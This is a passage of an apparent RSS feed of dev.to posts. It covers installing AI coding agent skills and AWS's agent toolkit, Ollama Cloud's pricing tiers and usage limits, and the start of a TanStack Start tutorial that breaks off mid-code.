&lt;li&gt;The &lt;a href=&quot;https://github.com/vercel-labs/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Vercel skills CLI&lt;/a&gt; is the &lt;code&gt;npx skills&lt;/code&gt; tool that installs any of this across 70-plus agents. If you use Kiro, it loads skills from &lt;code&gt;.kiro/skills/&lt;/code&gt; automatically with no config, which makes it an easy way to try things on camera or in a real project.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is each of those three:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Generate version-aware skills from your installed npm dependencies&lt;/span&gt;
npx &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; skilld

&lt;span class=&quot;c&quot;&gt;# Library maintainers: scaffold SKILL.md files inside your own package&lt;/span&gt;
npx @tanstack/intent scaffold

&lt;span class=&quot;c&quot;&gt;# The universal installer used throughout this post — pattern is `npx skills add &amp;lt;owner/repo&amp;gt;`&lt;/span&gt;
npx skills add vercel-labs/skills
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  &lt;a name=&quot;the-agent-toolkit-for-aws&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#the-agent-toolkit-for-aws&quot;&gt;
  &lt;/a&gt;
  The Agent Toolkit for AWS
&lt;/h2&gt;

&lt;p&gt;AWS ships skills too, in the same open format, so they run in Kiro, Claude Code, Cursor, and Codex.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://docs.aws.amazon.com/agent-toolkit/latest/userguide/skills.html?trk=1ad04439-1c50-4fdd-a845-d07d2655fe7a&amp;amp;sc_channel=el&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Agent Toolkit for AWS&lt;/a&gt; was announced in May 2026 and is the officially supported way to bring AWS expertise into your agent. It pairs plugins for Claude Code and Codex with a curated collection of skills and the &lt;a href=&quot;https://aws.amazon.com/blogs/aws/the-aws-mcp-server-is-now-generally-available/?trk=1ad04439-1c50-4fdd-a845-d07d2655fe7a&amp;amp;sc_channel=el&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;AWS MCP Server&lt;/a&gt;, which reached general availability on May 6, 2026. The toolkit covers areas like deployment, serverless, and database work. Setup is per-agent. In Kiro you add the AWS MCP Server through your MCP config and then pull in skills with &lt;code&gt;npx skills&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Install AWS-curated skills via the universal CLI&lt;/span&gt;
npx skills add aws/agent-toolkit-for-aws/skills
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;If you are building on AWS,  you should download this. Even if you are not using AWS I would download it for the future. Because with this the agent loads service-specific guidance instead of guessing at an API it half-remembers from training.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;how-to-pick-one-and-try-it-safely&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#how-to-pick-one-and-try-it-safely&quot;&gt;
  &lt;/a&gt;
  How to pick one and try it safely
&lt;/h2&gt;

&lt;p&gt;Personally, I would use Matt Pococks skills and try out one of the other larger skill workflows like Superpowers. See if it works for you. Then pair it with a framework specific skills as well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Last thing, and it matters. A skill is instructions you are dropping into your agent&#39;s context, so treat it the way you treat an npm dependency. Read the &lt;code&gt;SKILL.md&lt;/code&gt; before you install it. A repo with 100,000 stars is popular, but stars are a popularity signal, not a quality review. Skim the file, see what it tells your agent to do, and keep the ones that match how you actually work.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;conclusion&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#conclusion&quot;&gt;
  &lt;/a&gt;
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Agent skills went from a quiet Anthropic format to repos with more stars than the frameworks we build on, and it makes sense why. They take the patterns a good engineer carries in their head and hand them to the model at the start of every task. The big workflow skills give you structure while the framework skills give you correctness, and the AWS plugins give you service-specific knowledge you would otherwise paste in by hand.&lt;/p&gt;

&lt;p&gt;My advice: install one, read what it actually tells the agent, and see if the output matches how you&#39;d have built it yourself. That&#39;s the real test, and it&#39;s the one only you can run. If you want to see these in action, I walk through them in the companion video.&lt;/p&gt;


            </description><link>https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183</link><guid isPermaLink="false">https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183</guid><pubDate>Mon, 15 Jun 2026 17:04:07 GMT</pubDate><author>Erik Hanchett</author><category>ai</category><category>webdev</category><category>aws</category><category>programming</category></item><item><title>Ollama Cloud Free vs Pro — Usage Limits, Pricing &amp; What You Actually Get (2026)</title><description>&lt;blockquote&gt;
&lt;p&gt;Originally published on &lt;a href=&quot;https://devtoolhub.com/ollama-cloud-free-vs-pro-limits-pricing-2026/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;DevToolHub&lt;/a&gt;, where I keep this guide updated every time Ollama revises its limits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ollama Cloud is one of the most searched topics in the local AI space right now — and the number one question is always the same: &lt;strong&gt;what do you actually get on the free tier, and is Pro worth paying for?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This guide covers the plan limits, how usage is actually measured (it&#39;s not tokens), and when upgrading makes sense. All data is pulled from the official Ollama pricing page.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-ollama-cloud-is&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#what-ollama-cloud-is&quot;&gt;
  &lt;/a&gt;
  What Ollama Cloud is
&lt;/h2&gt;

&lt;p&gt;Ollama Cloud is a managed inference service that runs large open-source models on Ollama&#39;s datacenter GPUs — no local GPU required. The key advantage: your existing local Ollama setup works identically with cloud models. No code rewrites, no new SDKs. Just point at a cloud model and run:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;ollama run gpt-oss:120b-cloud
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Same CLI, same OpenAI-compatible API, different hardware.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-three-tiers&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#the-three-tiers&quot;&gt;
  &lt;/a&gt;
  The three tiers
&lt;/h2&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Free&lt;/th&gt;
&lt;th&gt;Pro&lt;/th&gt;
&lt;th&gt;Max&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Price&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;$20/mo ($200/yr)&lt;/td&gt;
&lt;td&gt;$100/mo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud usage&lt;/td&gt;
&lt;td&gt;Base quota&lt;/td&gt;
&lt;td&gt;~50x Free&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Concurrent cloud models&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;3 at a time&lt;/td&gt;
&lt;td&gt;More &amp;lt;!-- CHECK exact number against your live post --&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Model access&lt;/td&gt;
&lt;td&gt;Lighter cloud models&lt;/td&gt;
&lt;td&gt;Full catalog&lt;/td&gt;
&lt;td&gt;Full catalog + priority&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Running models on &lt;strong&gt;your own hardware is always unlimited&lt;/strong&gt; — the plans only govern cloud usage.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;how-usage-is-actually-measured-most-posts-get-this-wrong&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#how-usage-is-actually-measured-most-posts-get-this-wrong&quot;&gt;
  &lt;/a&gt;
  How usage is actually measured (most posts get this wrong)
&lt;/h2&gt;

&lt;p&gt;Ollama doesn&#39;t cap you at a fixed number of tokens or requests. Usage reflects actual utilization of their cloud infrastructure — primarily &lt;strong&gt;GPU time&lt;/strong&gt;, which depends on model size and request duration. Two things follow from that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Limits reset on two clocks:&lt;/strong&gt; session limits reset every 5 hours, weekly limits reset every 7 days.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heavier models burn quota faster.&lt;/strong&gt; Models are grouped into usage levels from level 1 (light models like &lt;code&gt;gpt-oss:20b&lt;/code&gt;) up to level 4 (extra-heavy models like &lt;code&gt;deepseek-v4-pro&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Practical tip:&lt;/strong&gt; on the Free tier, stick to level 1 and level 2 models to stretch your quota. Shorter prompts and prompts that share cached context also consume less.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;concurrency-and-queueing&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#concurrency-and-queueing&quot;&gt;
  &lt;/a&gt;
  Concurrency and queueing
&lt;/h2&gt;

&lt;p&gt;Requests beyond your plan&#39;s concurrency limit are queued and processed when a slot opens. The queue itself has a fixed depth — if it&#39;s full, requests are rejected until a slot frees up. This is the main reason production agent workloads end up on Max: it&#39;s about sustained concurrent access, not just raw quota.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;privacy&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#privacy&quot;&gt;
  &lt;/a&gt;
  Privacy
&lt;/h2&gt;

&lt;p&gt;Prompt and response data is never logged or trained on, and Ollama requires zero-data-retention policies from its hosting partners. Worth knowing if you&#39;re considering cloud inference for work data.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;so-which-tier-should-you-pick&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#so-which-tier-should-you-pick&quot;&gt;
  &lt;/a&gt;
  So which tier should you pick?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Free&lt;/strong&gt; — genuinely useful for experimenting with large models you can&#39;t fit locally. Stay on level 1–2 models.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pro ($20/mo)&lt;/strong&gt; — the right call for daily engineering work. Full catalog, 3 concurrent cloud models, enough quota that most individual developers never hit the wall.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Max ($100/mo)&lt;/strong&gt; — for production agent and RAG workloads that need sustained, concurrent access to the heaviest models.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if you&#39;d rather own the hardware: a &lt;a href=&quot;https://devtoolhub.com/run-ollama-on-digitalocean-droplet/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GPU droplet running self-hosted Ollama&lt;/a&gt; flips the economics once your usage is steady — I break down that setup separately.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;one-warning&quot; href=&quot;https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo#one-warning&quot;&gt;
  &lt;/a&gt;
  One warning
&lt;/h2&gt;

&lt;p&gt;Ollama has revised its cloud quotas more than once since launch. I keep the &lt;a href=&quot;https://devtoolhub.com/ollama-cloud-free-vs-pro-limits-pricing-2026/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;original post on DevToolHub&lt;/a&gt; updated against the official pricing page every time the limits change — bookmark that one if you want current numbers.&lt;/p&gt;


&lt;hr&gt;

&lt;p&gt;&lt;em&gt;I write hands-on DevOps and self-hosted AI guides at &lt;a href=&quot;https://devtoolhub.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;devtoolhub.com&lt;/a&gt;. Questions about your specific workload? Drop a comment.&lt;/em&gt;&lt;/p&gt;


            </description><link>https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo</link><guid isPermaLink="false">https://dev.to/amareswer/ollama-cloud-free-vs-pro-usage-limits-pricing-what-you-actually-get-2026-3ieo</guid><pubDate>Thu, 11 Jun 2026 00:39:50 GMT</pubDate><author>Amaresh Pelleti</author><category>ollama</category><category>ai</category><category>llm</category><category>devops</category></item><item><title>TanStack Start Is Kind of a Big Deal</title><description>&lt;h2&gt;
  &lt;a name=&quot;introduction&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#introduction&quot;&gt;
  &lt;/a&gt;
  Introduction
&lt;/h2&gt;

&lt;p&gt;People keep telling me TanStack Start is kind of a big deal, and I wanted to know if that holds up or not. I&#39;ve been spending a lot of time at conferences lately, and TanStack Start comes up quite often in conversation. The community is split if server components is the right answer. TanStack Start has gone the opposite direction with it&#39;s clean client-side first components approach, with lot so ways to call server-side code, even in the same component.&lt;/p&gt;

&lt;p&gt;I&#39;m a Vue and Nuxt person most days, so I&#39;m not here to dunk on anyone&#39;s framework. What I want to figure out is simpler: are there specific things TanStack Start does that Next.js and Nuxt don&#39;t, and are they good enough to switch for?&lt;/p&gt;

&lt;p&gt;After some research I have come up with three things I really like about TanStack Start. These things alone aren&#39;t probably enough for me to switch, but I&#39;m getting close.&lt;/p&gt;

&lt;p&gt;If you&#39;d like to watch a video instead, check this out!&lt;/p&gt;

&lt;p&gt;  &lt;iframe src=&quot;https://www.youtube.com/embed/I59bnwcxmAo&quot; style=&quot;width: 100%; aspect-ratio: 16 / 9;&quot; allowfullscreen=&quot;&quot; loading=&quot;lazy&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;prerequisites&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#prerequisites&quot;&gt;
  &lt;/a&gt;
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Node.js 22+&lt;/li&gt;
&lt;li&gt;Comfort with React and TypeScript&lt;/li&gt;
&lt;li&gt;You do not need any Next.js or TanStack experience&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-were-building&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#what-were-building&quot;&gt;
  &lt;/a&gt;
  What we&#39;re building
&lt;/h2&gt;

&lt;p&gt;A GitHub user lookup. You type a username, the app fetches that user from the GitHub API on the server, and renders their profile. It&#39;s a perfect app to show these three features.&lt;/p&gt;

&lt;p&gt;You can find the full code in the &lt;a href=&quot;https://github.com/ErikCH/tanstack-start-nextjs-killer-demo&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;demo repo&lt;/a&gt;. Let&#39;s start by creating the app.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;step-1-create-the-app&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#step-1-create-the-app&quot;&gt;
  &lt;/a&gt;
  Step 1: Create the app
&lt;/h2&gt;

&lt;p&gt;TanStack has a CLI, so scaffolding is one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npx @tanstack/cli@latest create my-app &lt;span class=&quot;nt&quot;&gt;--framework&lt;/span&gt; React
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;It asks about a package manager and a few add-ons, then sets up a project on Vite with file-based routing. Run it:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;my-app
npm &lt;span class=&quot;nb&quot;&gt;install
&lt;/span&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The dev server was ready in under a second on my machine. That Vite-powered startup is really nice, and it&#39;s the same Vite speed I covered in my earlier Vite videos.&lt;/p&gt;

&lt;p&gt;The structure is small:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;src/
├── routes/
│   ├── __root.tsx      # the document shell
│   └── index.tsx       # the home route
├── router.tsx          # router config
└── routeTree.gen.ts    # auto-generated, don&#39;t edit
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Now the three features.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;feature-1-one-server-function-for-reads-and-writes&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#feature-1-one-server-function-for-reads-and-writes&quot;&gt;
  &lt;/a&gt;
  Feature 1: One server function for reads and writes
&lt;/h2&gt;

&lt;p&gt;Let me be fair up front, Next.js can also call server code directly. Next has React Server Functions, and in mutation contexts those are Server Actions. You mark a function with &lt;code&gt;&quot;use server&quot;&lt;/code&gt; and call it from a component, no API route required. Nuxt has its own version with &lt;code&gt;server/api&lt;/code&gt; routes plus &lt;code&gt;useFetch&lt;/code&gt;, which gives you typed responses too. So &quot;call a function on the server&quot; is not unique.&lt;/p&gt;

&lt;p&gt;However, the difference is the constraint. Next.js Server Actions run as POST requests and are built for mutations. The Next docs themselves steer you to Server Components or Route Handlers for reading data. You &lt;em&gt;can&lt;/em&gt; call a Server Action from a client component to read, but it still goes over POST and isn&#39;t the idiomatic, cacheable GET path. &lt;/p&gt;

&lt;p&gt;TanStack Start doesn&#39;t split it this way. One primitive, &lt;code&gt;createServerFn&lt;/code&gt;, handles both a GET read and a POST mutation, and you call it the same way from anywhere.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight tsx&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createServerFn&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;@tanstack/react-start&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;

&lt;span class=&quot;kr&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;GithubUser&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;avatar_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;html_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;bio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;public_repos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;number&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;followers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;number&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;following&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;number&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

